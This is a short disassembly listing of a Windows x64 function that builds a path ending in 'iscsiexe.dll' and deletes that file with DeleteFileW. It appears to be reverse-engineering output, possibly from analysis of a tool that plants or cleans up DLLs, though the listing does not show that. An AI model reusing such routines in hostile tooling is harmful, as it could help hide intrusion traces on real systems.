sub rsp, 0x698
lea rbp, [rsp + 0x20]
lea rdi, [rsp + 0x20]
mov ecx, 0x10e
mov eax, 0xcccccccc
rep stosd dword [rdi], eax
mov rax, qword [0x140073348]
xor rax, rbp
mov qword [rbp + 0x668], rax
lea rcx, [0x14007d1da]
call fcn.140016b68
mov rax, qword [0x140073c18]
add rax, 0x47c
mov rdx, rax
lea rcx, [rbp + 0x10]
call fcn.1400161f9
lea rdx, str.iscsiexe.dll
lea rcx, [rbp + 0x10]
call fcn.140016af0
lea rcx, [rbp + 0x10]
call qword [sym.imp.KERNEL32.dll_DeleteFileW]
lea rcx, [rbp - 0x20]
lea rdx, [0x140057190]
call fcn.1400169a6
mov rcx, qword [rbp + 0x668]
xor rcx, rbp
call fcn.1400165b9
lea rsp, [rbp + 0x678]
pop rdi
pop rbp
ret